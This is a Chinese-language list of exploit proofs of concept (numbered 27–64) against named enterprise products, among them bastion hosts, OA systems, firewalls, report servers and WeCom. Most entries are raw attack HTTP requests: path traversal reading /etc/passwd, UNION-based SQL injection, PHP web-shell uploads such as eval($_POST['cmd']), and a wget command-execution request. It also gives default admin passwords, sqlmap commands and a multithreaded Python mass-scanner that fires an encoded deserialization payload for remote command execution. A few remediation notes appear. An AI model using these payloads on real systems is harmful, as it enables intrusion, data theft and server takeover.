<?xml version="1.0" encoding="UTF-8" ?><root><name>1</name><name>1'WAITFOR DELAY '00:00:03';-</name><name>1</name><name>102360</name></root>

27、绿盟 SAS堡垒机 local_user.php 任意用户登录漏洞 POC

1
GET /api/virtual/home/status?cat=../../../../../../../../../../../../../../usr/local/nsfocus/web/apache2/www/local_user.php&method=login&user_account=admin HTTP/1.1
2
Host: 1.1.1.1
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4
Accept-Encoding: gzip, deflate
5
Connection: close

28、某盟 SAS堡垒机 GetFile 任意文件读取漏洞 POC

待补充

29、绿盟 SAS堡垒机 Exec 远程命令执行漏洞 POC

1
GET /webconf/Exec/index?cmd=wget%20xxx.xxx.xxx HTTP/1.1
2
Host: 1.1.1.1
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4
Content-Type: application/x-www-form-urlencoded
5
Accept-Encoding: gzip, deflate
6
Connection: close

30、某友移动管理系统 uploadApk.do 任意文件上传漏洞

1
POST /maportal/appmanager/uploadApk.do?pk_obj=0001A1100000000H66QB HTTP/1.1
2
Host: 127.0.0.1:8080
3
Content-Length: 198
4
Cache-Control: max-age=0
5
Upgrade-Insecure-Requests: 1
6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6zlX0gZ8LzO3
7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9
Accept-Encoding: gzip, deflate
10
Accept-Language: zh-CN,zh;q=0.9
11
Cookie: JSESSIONID=4ABE9DB29CA45044BE1BECDA0A25A091.server
12
Connection: close
13

14
------WebKitFormBoundaryvLTG6zlX0gZ8LzO3
15
Content-Disposition: form-data; name="downloadpath"; filename="a.jsp"
16
Content-Type: application/msword
17

18
hello
19
------WebKitFormBoundaryvLTG6zlX0gZ8LzO3--

31、启明天钥安全网关前台sql注入

1
天钥默认账号密码:
2
sysuseradmin/ sua_password$123
3
sysauditor/ sa_password$123
4
sysadmin/password$123
5
sysadmin1/sysadmin111111

1
POST /ops/index.php?c=Reportguide&a=checkrn HTTP/1.1
2
Host: ****
3
Connection: close
4
Cache-Control: max-age=0
5
sec-ch-ua: "Chromium";v="88", "Google Chrome";v="88", ";Not A Brand";v="99"
6
sec-ch-ua-mobile: ?0
7
Upgrade-Insecure-Requests: 1
8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36
9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
10
Sec-Fetch-Site: none
11
Sec-Fetch-Mode: navigate
12
Sec-Fetch-User: ?1
13
Sec-Fetch-Dest: document
14
Accept-Language: zh-CN,zh;q=0.9
15
Cookie: ****
16
Content-Type: application/x-www-form-urlencoded
17
Content-Length: 39
18
checkname=123&tagid=123

1
sqlmap -u "https://****/ops/index.php?c=Reportguide&a=checkrn" --data "checkname=123&tagid=123" -v3 --skip-waf --random-agent

32、用友M1server反序列化命令执行漏洞

1
漏洞描述：
2

3
M1移动协同是针对管理者、高端商务人士、长期在外走访客户的业务人员以及日常外出的行业者而打造的协同应用。该应用平台存在反序列化漏洞，攻击者构造恶意包可以执行任意命令获取服务器权限

POC待补充

33、启明星辰-4A 统一安全管控平台 getMater 信息泄漏

1
漏洞描述：
2

3
启明星辰集团4A统一安全管控平台实现IT资源集中管理,为企业提供集中的账号、认证、授权、审计管理技术支撑及配套流程,提升系统安全性和可管理能力。可获取相关人员敏感信息。

1
poc:
2
  relative: req0
3
  session: false
4
  requests:
5
  - method: GET
6
    timeout: 10
7
    path: /accountApi/getMaster.do
8
    headers:
9
      User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
10
        like Gecko) Chrome/65.0.881.36 Safari/537.36
11
    follow_redirects: true
12
    matches: (code.eq("200") && body.contains("\"state\":true"))

1
修复建议：
2
限制文件访问

34、锐捷交换机 WEB 管理系统 EXCU_SHELL 信息泄露

1
漏洞描述：锐捷交换机 WEB 管理系统 EXCU_SHELL 信息泄露漏洞
2

3
批量扫描工具：https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E9%94%90%E6%8D%B7%E4%BA%A4%E6%8D%A2%E6%9C%BAWEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FEXCU_SHELL

1
GET /EXCU_SHELL HTTP/1.1
2
Host:
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.2852.74 Safari/537.36
4
Accept-Encoding: gzip, deflate
5
Accept: /
6
Connection: close
7
Cmdnum: '1'
8
Command1: show running-config
9
Confirm1: n

35、科荣 AIO 管理系统存在文件读取漏洞

1
漏洞描述：
2

3
科荣AIO企业一体化管理解决方案,通过ERP（进销存财务）、OA（办公自动化）、CRM（客户关系管理）、UDP（自定义平台），集电子商务平台、支付平台、ERP平台、微信平台、移动APP等解决了众多企业客户在管理过程中跨部门、多功能、需求多变等通用及个性化的问题。科荣 AIO 管理系统存在文件读取漏洞，攻击者可以读取敏感文件。

POC待补充

36、飞企互联 FE 业务协作平台 magePath 参数文件读取漏洞

1
漏洞描述：
2
FE 办公协作平台是实现应用开发、运行、管理、维护的信息管理平台。飞企互联 FE 业务协作平台存在文件读取漏洞，攻击者可通过该漏洞读取系统重要文件获取大量敏感信息。
3
漏洞影响  ：
4
飞企互联 FE业务协作平台
5

6
网络测绘：
7
“flyrise.stopBackspace.js”

1
漏洞复现 ：
2
 登陆页面

1
验证POC
2
/servlet/ShowImageServlet?imagePath=../web/fe.war/WEB-INF/classes/jdbc.properties&print

37、用友GRP-U8存在信息泄露

1
漏洞描述：友U8系统存可直接访问log日志，泄露敏感信息
2
批量扫描工具:https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E7%94%A8%E5%8F%8BGRP-U8
3
GET /logs/info.log HTTP/1.1

38、nginx配置错误导致的路径穿越风险

1
漏洞自查PoC如下：
2
https://github.com/hakaioffsec/navgix
3
该漏洞非0day，是一个路径穿越漏洞，可以直接读取nginx后台服务器文件。
4
有多家重点金融企业已中招，建议尽快进行自查。

39、红帆OA zyy_AttFile.asmx SQL注入漏洞

1
POC：
2

3
POST /ioffice/prg/interface/zyy_AttFile.asmx HTTP/1.1
4
Host: 10.250.250.5
5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,
6
like Gecko) Version/12.0.3 Safari/605.1.15
7
Content-Length: 383
8
Content-Type: text/xml; charset=utf-8
9
Soapaction: "http://tempuri.org/GetFileAtt"
10
Accept-Encoding: gzip, deflate
11
Connection: close
12
<?xml version="1.0" encoding="utf-8"?><soap:Envelope
13
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
14
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
15
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetFileAtt
16
xmlns="http://tempuri.org/"><fileName>123</fileName></GetFileAtt> </soap:Body></so
17
ap:Envelope>

1
修复方法
2
官方已发布安全修复版本，请升级至官网最新版本
3
https://www.ioffice.cn/

40、Coremail 邮件系统未授权访问获取管理员账密

1
POC：
2
/coremail/common/assets/:/:/:/:/:/:/s?
3
biz=Mzl3MTk4NTcyNw==&mid=2247485877&idx=1&sn=7e5f77db320ccf9013c0b7aa7262
4
6688chksm=eb3834e5dc4fbdf3a9529734de7e6958e1b7efabecd1c1b340c53c80299ff5c688b
5
f6adaed61&scene=2

41、Milesight VPN server.js 任意文件读取漏洞

1
POC:
2
GET /../etc/passwd HTTP/1.1
3
Host:
4
Accept: */*
5
Content-Type: application/x-www-form-urlencoded

42、PigCMS action_flashUpload 任意文件上传漏洞

1
POC:
2
POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload
3
HTTP/1.1
4
Host:
5
Accept-Encoding: gzip, deflate
6
Content-Type: multipart/form-data; boundary=----aaa
7
------aaa
8
Content-Disposition: form-data; name="filePath"; filename="test.php"
9
Content-Type: video/x-flv
10
<?php phpinfo();?>
11
------aaa
12
/cms/upload/images/2023/08/11/1691722887xXbx.php

43、绿盟 NF 下一代防火墙任意文件上传漏洞

1
POC:
2
POST /api/v1/device/bugsInfo HTTP/1.1
3
Content-Type: multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef
4
Host:
5
--4803b59d015026999b45993b1245f0ef
6
Content-Disposition: form-data; name="file"; filename="compose.php"
7
<?php eval($_POST['cmd']);?>
8
--4803b59d015026999b45993b1245f0ef--
9

10
POST /mail/include/header_main.php HTTP/1.1
11
Content-Type: application/x-www-form-urlencoded
12
Cookie: PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71
13
Host:
14
cmd=phpinfo();

44、金盘图书馆微信管理后台 getsysteminfo 未授权访问漏洞

1
POC: /admin/weichatcfg/getsysteminfo
2

3
漏洞描述：北京金盘鹏图软件技术有限公司的金盘图书馆微信管理后台 getsysteminfo 存在未授权访问漏洞
4
漏洞危害：获取管理员账号密码等敏感数据，导致攻击者能以管理员身份进入系统窃取敏感信息和危险操作
5
修复方法:
6
官方已发布安全修复版本，请升级至官网最新版本 http://goldlib.com.cn/

45、Panel loadfile 后台文件读取漏洞

1
POC:
2
POST /api/v1/file/loadfile {"paht":"/etc/passwd"}

46、网御 ACM 上网行为管理系统bottomframe.cgi SQL 注入漏洞

1
POC:
2
/bottomframe.cgi?user_name=%27))%20union%20select%20md5(1)%23

1
漏洞复现
2
登录页面

47、广联达 Linkworks GetIMDictionarySQL 注入漏洞

1
POC: POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded
2

3
key=1' UNION ALL SELECT top 1 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --

48、用友文件服务器认证绕过

1
资产搜索：
2
app="用友-NC-Cloud"   或者是app="用友-NC-Cloud" && server=="Apache-Coyote/1.1"
3

4
POST数据包修改返回包 false改成ture就可以绕过登陆
5

6
HTTP/1.1 200 OK
7
Server: Apache-Coyote/1.1
8
Date: Thu, 10 Aug 2023 20:38:25 GMT
9
Connection: close
10
Content-Length: 17
11

12
{"login":"false"}

49、华天动力oa SQL注入

1
访问
2
http://xxxx//report/reportJsp/showReport.jsp?raq=%2FJourTemp2.raq&reportParamsId=100xxx
3

4
然后抓包
5
POST /report/reportServlet?action=8 HTTP/1.1
6
Host: xxxx
7
Content-Length: 145
8
Cache-Control: max-age=0
9
Upgrade-Insecure-Requests: 1
10
Origin: http://xxx/
11
Content-Type: application/x-www-form-urlencoded
12
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
14
Referer: http://xxxx/report/reportJsp/showReport.jsp?raq=%2FJourTemp2.raq&reportParamsId=100xxx
15
Accept-Encoding: gzip, deflate
16
Accept-Language: zh-CN,zh;q=0.9
17
Cookie: JSESSIONID=D207AE96056400942620F09D34B8CDF3
18
Connection: close
19

20
year=*&userName=*&startDate=*&endDate=*&dutyRule=*&resultPage=%2FreportJsp%2FshowRepo

1
48、49漏洞来源于：https://mp.weixin.qq.com/s/hUig93-cSFtbioQpPSNZig

50、泛微 Weaver E-Office9 前台文件包含

1
http://URL/E-mobile/App/Init.php?weiApi=1&sessionkey=ee651bec023d0db0c233fcb562ec7673_admin&m=12344554_../../attachment/xxx.xls

51、企业微信（私有化版本）敏感信息泄露漏洞

1
紧急通知，长亭报出企业微信存在信息泄露0day！目前已在准备预警，请注意！
2
企业微信URL/cgi-bin/gateway/agentinfo
3
接口未授权情况下可直接获取企业微信secret等敏感信息
4
受影响版本：2.5.x、2.6.930000、以下；
5
不受影响：2.7.x、2.8.x、2.9.x；
6

7
危害：
8
1、可导致企业微信全量数据被获取、文件获取，
9
2、存在使用企业微信轻应用对内发送钓鱼文件和链接等风险。
10

11
修复方法：
12
1、在waf上设置一个规则，匹配到/cgi-bin/gateway/agentinfo路径的进行阻断；
13
2、联系厂家进行获取修复包；
14
3、官方通报及补丁地址

1
复现及漏洞详情分析：
2
第一步：，通过泄露信息接口可以获取corpid和corpsecret
3
https://<企业微信域名>/cgi-bin/gateway/agentinfo
4

5
第二步，使用corpsecret和corpid获得token
6
https://<企业微信域名>/cgi-bin/gettoken?corpid=ID&corpsecret=SECRET
7

8
第三步，使用token访问诸如企业通讯录信息，修改用户密码，发送消息，云盘等接口
9
https://<企业微信域名>/cgi-bin/user/get?access_token=ACCESS_TOKEN&userid=USERID

52、帆软报表系统漏洞威胁反序列化

1
情况说明：帆软报表系统（V10、V11及更早期版本）存在反序列化漏洞绕过、反序列化命令执行等高危漏洞，攻击者可利用上述漏洞获取系统权限。鉴于该漏洞影响范围较大，潜在危害程度极高，建议引起高度重视，通过官方发布的链接下载补丁，进行升级，消除安全隐患，提高安全防范能力。
2
漏洞详细信息: https://help.fanruan.com/finereport/doc-view-4833.html
3
补丁下载链接: http: //s.fanruan.com/3u6eo

1
#!/usr/bin/env python
2
# -*- conding:utf-8 -*-
3
# 帆软channel接口反序列化
4
# Author: SXdysq
5

6
import base64
7
import requests
8
import urllib3
9
import concurrent.futures
10

11
urllib3.disable_warnings()
12

13
headers = {
14
    "Pragma": "no-cache",
15
    "Cache-Control": "no-cache",
16
    "Upgrade-Insecure-Requests": "1",
17
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
18
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
19
    "Accept-Language": "zh-CN,zh;q=0.9",
20
    "Connection": "close",
21
}
22

23
def check(host):
24
    try:
25
        burp0_url = host + "/webroot/decision/remote/design/channel"
26
        req = requests.get(burp0_url, headers=headers, verify=False, timeout=3)
27
        if "method 'GET' not supported" in req.text:
28
            req = requests.post(burp0_url, headers=headers, verify=False, timeout=3)
29
            if "如需访问请联系管理员" not in req.text:
30
                cmd(host)
31
            else:
32
                print("[o]", host, "------不存在漏洞！")
33
        else:
34
            print("[o]", host, "------不存在漏洞！")
35
    except Exception as e:
36
        print("[o]", host, "------不存在漏洞！")
37

38
def cmd(host):
39
    try:
40
        burp0_url = host + "/webroot/decision/remote/design/channel"
41
        burp0_headers = {"Content-Type": "application/x-www-form-urlencoded", "Testdmc": "whoami", "Testecho": "TestEcho"}
42
        b = b"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"
43
        burp0_data = base64.b64decode(b)
44
        res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False, timeout=3)
45

46
        if res.status_code == 200 and 'Testdmc' in res.headers and res.headers['Testdmc']:
47
            testdmc_value = res.headers['Testdmc']
48
            print("[+]", host, "------存在漏洞！")
49
            print("Testdmc的值为：", base64.b64decode(testdmc_value).decode('utf-8'))
50
        else:
51
            print("[o]", host, "------不存在漏洞！")
52
    except Exception as e:
53
        print("[o]", host, "------不存在漏洞！")
54

55
if __name__ == '__main__':
56
    with open('urls.txt', 'r') as file:
57
        hosts = [line.strip() for line in file]
58

59
    with concurrent.futures.ThreadPoolExecutor() as executor:
60
        executor.map(check, hosts)

53、蓝凌EKP远程代码执行漏洞

1
受影响版本：
2
   蓝凌EKP V16 (最新版)受影响存在远程代码执行漏洞；V15暂无环境验证，可能受影响。
3
修复方案：
4
   使用网络ACL限制该OA的访问来源，加强监测，重点拦截GET请求中带有../等目录穿越特征的URL。
5
通过文件上传-->解压-->获取webshell，前台漏洞

1
漏洞路径：
2

3
/api///sys/ui/sys_ui_extend/sysUiExtend.do

1
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
2
Host: xxx
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
4
Accept: /
5
Connection: Keep-Alive
6
Content-Length: 42
7
Content-Type: application/x-www-form-urlencoded
8
var={"body":{"file":"file:///etc/passwd"}}

54、Smartx超融合远程命令执行漏洞

1
SmartX超融合系统是构建超融合平台的核心软件，能够基于不同虚拟化平台和软硬件的交付方式实现超融合架构。Smartx超融合系统存在远程命令执行漏洞，攻击者可利用该漏洞执行任意命令，控制服务器。
2
受影响版本：Smartx超融合version <= 5.0.5受影响存在漏洞；最新版暂无环境验证，可能受影响。
3
修复方案：使用网络ACL限制该产品的访问来源，加强监测，重点拦截GET请求中带有操作系统命令注入特征的URL；
4

5
临时修复方案：
6
重点拦截访问 /api/v2/deployment/can_ping的可疑ip

55、Nacos-Sync未授权漏洞

1
https://xxx.xxx.xxx/#/serviceSync

56、360 新天擎终端安全管理系统信息泄露漏洞

1
http://ip:port/runtime/admin_log_conf.cache

57、锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞

1
POST /ddi/server/fileupload.php?uploadDir=../../321&name=123.php HTTP/1.1
2
Host:
3
Accept: text/plain, */*; q=0.01
4
Content-Disposition: form-data; name="file"; filename="111.php"
5
Content-Type: image/jpeg
6

7
<?php phpinfo();?>

58、网神 SecSSL 3600安全接入网关系统任意密码修改漏洞

1
POST /changepass.php?type=2
2

3
Cookie: admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff; last_step_param={"this_name":"test","subAuthId":"1"}
4

5
old_pass=&password=Test123!@&repassword=Test123!@

59、Openfire身份认证绕过漏洞(CVE-2023-32315)

1
GET /user-create.jsp?csrf=Sio3WOA89y2L9Rl&username=user1&name=&email=&password=Qwer1234&passwordConfirm=Qwer1234&isadmin=on&create=............ HTTP/1.1

59、大华智慧园区综合管理平台 user_getUserInfoByUserName.action 任意密码读取漏洞

1
GET /admin/user_getUserInfoByUserName.action?userName=system HTTP/1.1
2
Host: ip:port
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

60、泛微 ShowDocsImagesql注入漏洞

1
GET /weaver/weaver.docs.docs.ShowDocsImageServlet?docId=* HTTP/1.1
2
Host: 127.0.0.1
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,like Gecko)
4
Accept-Encoding: gzip, deflate
5
Connection: close

61、宏景 HCM codesettree SQL 注入漏洞

1
GET /servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cusername~20from~20operuser~20~2d~2d HTTP/1.1
2
Host: 127.0.0.1
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,like Gecko)
4
Accept-Encoding: gzip, deflate
5
Connection: close

61、用友时空 KSOATaskRequestServlet sql注入漏洞

1
/servlet/com.sksoft.v8.trans.servlet.TaskRequestServlet?unitid=1*&password=1,

62、用友时空 KSOA servletimagefield 文件 sKeyvalue 参数SQL 注入

1
GET /servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','test'))--+ HTTP/1.1
2
Host: 127.0.0.1
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,like Gecko)
4
Accept-Encoding: gzip, deflate
5
Connection:

63、用友畅捷通 T注入

1
sqlmap -u http://xx.xx.xx.xx/WebSer~1/create_site.php?site_id=1 --is-dba

64、宏景OA文件上传

1
POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
2
Host: xx.xx.xx.xx
3
Cookie: JSESSIONID=C92F3ED039AAF958516349D0ADEE426E
4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7
Accept-Encoding: gzip, deflate
8
Connection: close
9
Content-Length: 417
10

11
DBSTEP V3.0     351             0               666             DBSTEP=REJTVEVQ
12
OPTION=U0FWRUZJTEU=
13
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
14
FILETYPE=Li5cMW5kZXguanNw
15
